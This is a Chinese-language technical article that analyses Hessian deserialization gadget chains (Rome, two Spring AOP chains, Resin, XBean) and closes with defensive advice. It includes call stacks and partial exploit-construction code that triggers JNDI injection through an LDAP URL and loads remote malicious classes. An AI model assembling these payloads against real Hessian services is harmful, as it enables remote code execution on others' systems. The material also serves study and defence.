超详细解析Hessian利用链
字数 2307 2025-08-06 08:35:30

Hessian利用链深入分析与实践指南

一、Hessian协议基础

1.1 Hessian简介

Hessian是一种基于二进制的轻量级网络传输协议,用于应用程序间的远程过程调用(RPC),由Caucho Technology开发,在Java社区广泛应用。

核心特点

  • 轻量级:二进制格式,网络带宽和存储空间占用小
  • 跨语言支持:Java、C#、Python、Ruby等多语言实现
  • 简单易用:提供简单API,自动处理序列化和网络传输
  • 高效性能:相比文本协议(XML-RPC/SOAP)有更高速度
  • 数据类型支持:基本类型、对象、数组、集合、映射等
  • 安全性:支持SSL/TLS加密和身份验证

1.2 基本使用方式

Servlet方式实现

服务端实现

  1. 定义接口:
package org.example;
public interface Basic {
    public String SayHello();
}
  1. 实现服务类(继承HessianServlet):
package org.example;
import com.caucho.hessian.server.HessianServlet;
public class BasicService extends HessianServlet implements Basic {
    public String greeting = "Hello, hessian.";
    public String SayHello() {
        return greeting;
    }
}
  1. 配置web.xml:
<servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>org.example.BasicService</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping>

客户端调用

package org.example;
import com.caucho.hessian.client.HessianProxyFactory;
public class BasicClient {
    public static void main(String[] args) throws Exception {
        String url = "http://localhost:8090/hessian_servlet_war_exploded/hello";
        HessianProxyFactory factory = new HessianProxyFactory();
        Basic basic = (Basic)factory.create(Basic.class, url);
        System.out.println(basic.SayHello());
    }
}

Spring集成方式

  1. 定义服务接口:
public interface MyService {
    String sayHello();
}
  1. 实现服务:
public class MyServiceImpl implements MyService {
    @Override
    public String sayHello() {
        return "Hello, Hessian!";
    }
}
  1. 服务端配置:
<bean name="/myService" class="org.springframework.remoting.caucho.HessianServiceExporter">
    <property name="service" ref="myService" />
    <property name="serviceInterface" value="com.example.MyService" />
</bean>
<bean id="myService" class="com.example.MyServiceImpl" />
  1. 客户端配置:
<bean id="myServiceProxy" class="org.springframework.remoting.caucho.HessianProxyFactoryBean">
    <property name="serviceUrl" value="http://localhost:8080/myService" />
    <property name="serviceInterface" value="com.example.MyService" />
</bean>
  1. 客户端使用:
@Autowired
private MyService myServiceProxy;

public void doSomething() {
    String result = myServiceProxy.sayHello();
    System.out.println(result);
}

1.3 序列化与反序列化

关键类

  • Hessian2Output/Hessian2Input:序列化/反序列化核心类
  • SerializerFactory:序列化工厂,管理序列化器
  • Serializer:定义序列化/反序列化方法的抽象类
  • JavaSerializer:默认Java对象序列化器

示例

  1. 准备可序列化类:
package org.example;
import java.io.Serializable;
public class Student implements Serializable {
    public String name;
    public int age;
    // 构造方法、toString()等
}
  1. 序列化:
Student stu = new Student("aaa", 18);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(bos);
output.writeObject(stu);
output.close();
  1. 反序列化:
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
Object obj = input.readObject();
System.out.println(obj.toString());

二、Hessian利用链分析

2.1 Rome利用链

利用链

JdbcRowSetImpl.getDatabaseMetaData()
ToStringBean.toString() (com.sun.syndication.feed.impl)
EqualsBean.beanHashCode() (com.sun.syndication.feed.impl)
ObjectBean.hashCode()
HashMap.hash()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

EXP构造

// ldap url
String url = "ldap://127.0.0.1:1389/czhupn";

// 创建JdbcRowSetImpl对象
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(url);

// 创建toStringBean对象
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);

// 创建ObjectBean
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

// 创建HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(objectBean, "aaaa");

// 序列化与反序列化...

调用栈分析

  1. Hessian2Input.readObject()开始反序列化
  2. 遇到Map对象,进入SerializerFactory.readMap()
  3. MapDeserializer.readMap()读取键值对
  4. 在HashMap.put操作时触发ObjectBean.hashCode()
  5. 通过EqualsBean.beanHashCode()调用ToStringBean.toString()
  6. 最终触发JdbcRowSetImpl.getDatabaseMetaData()导致JNDI注入

2.2 Spring PartiallyComparableAdvisorHolder链

利用链

SimpleJndiBeanFactory.doGetType()
SimpleJndiBeanFactory.getType()
BeanFactoryAspectInstanceFactory.getOrder()
AbstractAspectJAdvice.getOrder()
AspectJPointcutAdvisor.getOrder()
AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder.toString()
XString.equals()
HotSwappableTargetSource.equals()
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

EXP构造关键点

// 设置SimpleJndiBeanFactory
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();

// 构造BeanFactoryAspectInstanceFactory
AspectInstanceFactory beanFactoryAspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFiled(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
setFiled(beanFactoryAspectInstanceFactory, "name", url);

// 构造AspectJAroundAdvice
AbstractAspectJAdvice aspectJAroundAdvice = createWithoutConstructor(AspectJAroundAdvice.class);
setFiled(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);

// 构造AspectJPointcutAdvisor
AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
setFiled(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);

// 构造PartiallyComparableAdvisorHolder
Object partially = createWithoutConstructor(aClass);
setFiled(partially, "advisor", aspectJPointcutAdvisor);

// 通过HotSwappableTargetSource触发
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(partially);
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa"));

触发流程

  1. HashMap.put操作触发equals比较
  2. 通过HotSwappableTargetSource.equals()调用target的equals方法
  3. XString.equals()调用参数的toString()
  4. PartiallyComparableAdvisorHolder.toString()调用getOrder()
  5. 最终通过SimpleJndiBeanFactory.doGetType()触发JNDI注入

2.3 Spring AbstractBeanFactoryPointcutAdvisor链

利用链

SimpleJndiBeanFactory.getBean()
AbstractBeanFactoryPointcutAdvisor.getAdvice()
AbstractPointcutAdvisor.equals()
HotSwappableTargetSource.equals()
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

EXP构造

SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
beanFactory.setShareableResources(url);

DefaultBeanFactoryPointcutAdvisor advisor1 = (DefaultBeanFactoryPointcutAdvisor)constructor.newInstance();
advisor1.setAdviceBeanName(url);
advisor1.setBeanFactory(beanFactory);

HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource("1");
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource("2");

// 通过反射设置target属性
setFiled("org.springframework.aop.target.HotSwappableTargetSource", targetSource1, "target", advisor1);

关键点

  • 通过AbstractPointcutAdvisor.equals()触发getAdvice()
  • AbstractBeanFactoryPointcutAdvisor.getAdvice()调用SimpleJndiBeanFactory.getBean()
  • 最终触发JNDI注入

2.4 Resin链

利用链

NamingManager.getObjectFactoryFromReference()
NamingManager.getObjectInstance()
NamingManager.getContext()
ContinuationContext.getTargetContext()
ContinuationContext.composeName()
QName.toString()
XString.equals()
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

EXP构造

Reference ref = new Reference(refClassName, refClassName, refAddr);

// 构造CannotProceedException
Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").newInstance();
setFiled("javax.naming.NamingException", cannotProceedException, "resolvedObj", ref);

// 构造ContinuationContext
Context continuationContext = (Context)constructor.newInstance(cannotProceedException, new Hashtable<>());

// 构造QName和XString
QName qName = new QName(continuationContext, "aaa", "bbb");
String str = unhash(qName.hashCode());
XString xString = new XString(str);

关键点

  • 通过QName.toString()触发ContinuationContext.composeName()
  • 最终通过NamingManager.getObjectFactoryFromReference()加载远程恶意类
  • 需要精确计算XString的hash值以匹配QName的hash

2.5 XBean链

利用链

NamingManager.getObjectFactoryFromReference()
NamingManager.getObjectInstance()
ContextUtil.resolve()
ContextUtil$ReadOnlyBinding.getObject()
Binding.toString()
XString.equals()
HotSwappableTargetSource.equals()
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

EXP构造

Reference ref = new Reference(refClassName, refClassName, refAddr);
WritableContext writableContext = new WritableContext();

// 构造ReadOnlyBinding
Object readOnlyBinding = Class.forName(classname)
    .getDeclaredConstructor(String.class, Object.class, Context.class)
    .newInstance("aaa", ref, writableContext);

// 通过HotSwappableTargetSource触发
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(readOnlyBinding);

触发流程

  1. HotSwappableTargetSource.equals()触发XString.equals()
  2. XString.equals()调用ReadOnlyBinding.toString()
  3. 通过Binding.toString()调用getObject()
  4. ContextUtil.resolve()处理Reference对象
  5. 最终通过NamingManager加载远程恶意类

三、防御建议

  1. Hessian安全配置

    • 使用最新版本Hessian库
    • 配置SerializerFactory的allowNonSerializable为false
    • 实现自定义的SerializerFactory,限制反序列化类
  2. JNDI防护

    • 升级JDK版本(≥8u191/11.0.1/7u201/6u211)
    • 配置JVM参数禁止JNDI远程加载:
      -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
      -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
      
  3. 其他防护措施

    • 使用白名单机制限制反序列化类
    • 网络层面限制出站连接
    • 监控和过滤异常的序列化数据

四、总结

Hessian协议因其高效和跨语言特性被广泛应用于分布式系统中,但不当的反序列化实现可能导致严重的安全问题。本文详细分析了多种Hessian利用链,从Rome链到Spring相关链,再到Resin和XBean链,展示了攻击者如何通过精心构造的序列化数据实现远程代码执行。

理解这些利用链不仅有助于防御,也能帮助开发人员构建更安全的序列化机制。在实际开发中,应当:

  1. 严格控制反序列化的数据来源
  2. 及时更新相关组件到安全版本
  3. 实施深度防御策略,从网络到应用层全面防护
  4. 定期进行安全审计和渗透测试

通过全面的安全措施,可以在享受Hessian高效通信的同时,有效防范反序列化漏洞带来的风险。

Hessian利用链深入分析与实践指南 一、Hessian协议基础 1.1 Hessian简介 Hessian是一种基于二进制的轻量级网络传输协议,用于应用程序间的远程过程调用(RPC),由Caucho Technology开发,在Java社区广泛应用。 核心特点 : 轻量级:二进制格式,网络带宽和存储空间占用小 跨语言支持:Java、C#、Python、Ruby等多语言实现 简单易用:提供简单API,自动处理序列化和网络传输 高效性能:相比文本协议(XML-RPC/SOAP)有更高速度 数据类型支持:基本类型、对象、数组、集合、映射等 安全性:支持SSL/TLS加密和身份验证 1.2 基本使用方式 Servlet方式实现 服务端实现 : 定义接口: 实现服务类(继承HessianServlet): 配置web.xml: 客户端调用 : Spring集成方式 定义服务接口: 实现服务: 服务端配置: 客户端配置: 客户端使用: 1.3 序列化与反序列化 关键类 : Hessian2Output / Hessian2Input :序列化/反序列化核心类 SerializerFactory :序列化工厂,管理序列化器 Serializer :定义序列化/反序列化方法的抽象类 JavaSerializer :默认Java对象序列化器 示例 : 准备可序列化类: 序列化: 反序列化: 二、Hessian利用链分析 2.1 Rome利用链 利用链 : EXP构造 : 调用栈分析 : Hessian2Input.readObject() 开始反序列化 遇到Map对象,进入 SerializerFactory.readMap() MapDeserializer.readMap() 读取键值对 在HashMap.put操作时触发 ObjectBean.hashCode() 通过 EqualsBean.beanHashCode() 调用 ToStringBean.toString() 最终触发 JdbcRowSetImpl.getDatabaseMetaData() 导致JNDI注入 2.2 Spring PartiallyComparableAdvisorHolder链 利用链 : EXP构造关键点 : 触发流程 : HashMap.put操作触发equals比较 通过HotSwappableTargetSource.equals()调用target的equals方法 XString.equals()调用参数的toString() PartiallyComparableAdvisorHolder.toString()调用getOrder() 最终通过SimpleJndiBeanFactory.doGetType()触发JNDI注入 2.3 Spring AbstractBeanFactoryPointcutAdvisor链 利用链 : EXP构造 : 关键点 : 通过AbstractPointcutAdvisor.equals()触发getAdvice() AbstractBeanFactoryPointcutAdvisor.getAdvice()调用SimpleJndiBeanFactory.getBean() 最终触发JNDI注入 2.4 Resin链 利用链 : EXP构造 : 关键点 : 通过QName.toString()触发ContinuationContext.composeName() 最终通过NamingManager.getObjectFactoryFromReference()加载远程恶意类 需要精确计算XString的hash值以匹配QName的hash 2.5 XBean链 利用链 : EXP构造 : 触发流程 : HotSwappableTargetSource.equals()触发XString.equals() XString.equals()调用ReadOnlyBinding.toString() 通过Binding.toString()调用getObject() ContextUtil.resolve()处理Reference对象 最终通过NamingManager加载远程恶意类 三、防御建议 Hessian安全配置 : 使用最新版本Hessian库 配置SerializerFactory的allowNonSerializable为false 实现自定义的SerializerFactory,限制反序列化类 JNDI防护 : 升级JDK版本(≥8u191/11.0.1/7u201/6u211) 配置JVM参数禁止JNDI远程加载: 其他防护措施 : 使用白名单机制限制反序列化类 网络层面限制出站连接 监控和过滤异常的序列化数据 四、总结 Hessian协议因其高效和跨语言特性被广泛应用于分布式系统中,但不当的反序列化实现可能导致严重的安全问题。本文详细分析了多种Hessian利用链,从Rome链到Spring相关链,再到Resin和XBean链,展示了攻击者如何通过精心构造的序列化数据实现远程代码执行。 理解这些利用链不仅有助于防御,也能帮助开发人员构建更安全的序列化机制。在实际开发中,应当: 严格控制反序列化的数据来源 及时更新相关组件到安全版本 实施深度防御策略,从网络到应用层全面防护 定期进行安全审计和渗透测试 通过全面的安全措施,可以在享受Hessian高效通信的同时,有效防范反序列化漏洞带来的风险。